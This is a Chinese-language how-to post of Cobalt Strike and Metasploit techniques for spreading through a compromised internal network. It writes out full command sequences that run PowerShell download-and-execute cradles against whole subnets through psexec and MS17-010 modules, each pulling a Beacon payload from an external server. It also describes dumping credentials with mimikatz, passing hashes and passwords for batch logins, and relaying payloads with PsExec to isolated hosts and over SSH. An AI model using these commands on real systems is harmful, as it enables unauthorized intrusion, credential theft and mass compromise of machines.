Cobalt Strike使用的一些技巧
利用msf模块上线beacon shell
当通过CS的mimikatz或者其他方式获得了目标机器的明文密码或者哈希时,可以利用metasploit的psexec_command模块来上线CS的beacon shell。
1.先通过CS生成上线Beacon的powershell
本地启动metasploit,挂上代理,设置psexec_command参数。
msf5 > setg Proxies socks4/5:97.xx.xx.23:1025
msf5 > use auxiliary/admin/smb/psexec_command
msf5 > set rhosts 192.168.52.0/24
msf5 > set threads 20
msf5 > set smbuser administrator
msf5 > set smbpass 579da618cfbfa85247acf1f800a280a4
msf5 > set command powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://97.xx.xx.23:82/a‘))”
msf5 > run
当进入内网后,拿下一台或某几台机器时,若密码相同或相似,可以使用该方式直接通扫内网,可以做到机器批量上线。
通过ms17-010通扫内网(未成功!!!)
如果内网发现大量主机存在ms17-010,直接使用exploit/windows/smb/ms17_010_eternalblue该模块容易造成蓝屏,可以通过ms17_010命令执行模块做到批量上线。如:ms17_010_command、ms17_010_psexec等。
setg Proxies socks4:97.xx.xx.23:1008
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.0/24
set threads 50
set command ‘powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://97.xx.xx.23:82/a’))”‘
run
use exploit/windows/smb/ms17_010_psexec set rhosts 192.168.100.2 set SMBUser guest set SMBPass 123456 run
当获取到一台目标服务器的权限,如果想扩大战果,获得目标凭证进行横向扩展登录是最快速有效的方式。需要考虑的是目标环境是否可出网,如何利用CS进行批量上线。
1.目标机器上线后先提权抓取凭证
Access—》run mimikatz(或者直接在Beacon中执⾏logonpasswords导出明文密码),或直接dumphash。导出凭证操作需要管理员权限。
通过工具栏的View—》Credentials可以查看已经获得的凭证
1)目标出网
psexec传递
获取凭证后可以对内网445进行探测,然后使用psexec传递登录
Beacon > portscan 192.168.52.0/24 445 arp 200
通过菜单栏View—》Targets查看目标机器列表,可以全部选中,批量右键登录
选择之前获取到的主机的凭证,并确定接受的Listener已经主机的session。
在Beacon中可以看到执行的命令,并显示成功登录的IP,这样就可以实现同时控制多台主机的权限。
2)目标机不出网
如果我们已经获取到目标内网中一台主机的权限,但是该主机处于隔离网中,无法连接互联网,此时,我们可以将这台已经获取权限的主机当做跳板,在它做上面做一个监听,实现链路上线。
1.首先,在已上线的主机上创建一个Listener
选择 Attacks->Packages->Windows Executable(Stageless),⽀持导出该类型Listener对应的可执
⾏⽂件或dll等。proxy不填。
上传刚才⽣成的payload到当前已上线的⽬标机中,还需要上传另⼀个⼯具PsExec.exe 。
(CobalStrike本身psexec功能不够强⼤,且⽅法不唯⼀)
在Beacon中使⽤PsExec⼯具将payload上传到不出⽹的⽬标机中,⾃动执⾏,即可上线。
beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula
\192.168.190.130,192.168.190.132 -u administrator -p admin@123 -d -c
C:\WINDOWS\Temp\beacon.exe
因为这是link链接,只要主链路(即出⽹机Listener)掉线,就都会掉线!
3)ssh 批量登录
ssh批量登录⽐较简单,同样利⽤当前已上线的⽬标机进⾏登录。
beacon> portscan 192.168.144.170-210 22 arp 200
在Credentials中添加ssh的⼝令信息。(ssh⼝令可事先通过其他⽅式获取,不建议⽤此⼯具进⾏
ssh爆破,效率慢)
选择Login–>ssh登录。
选择刚添加的ssh⼝令,主机Session,即从哪台主机连接过去。
ssh成功登录后,就实现了Linux⽬标机的上线,在Beacon中可以看到执⾏的命令。若需要上线的
Linux主机不多,可直接在Beacon中执⾏命令。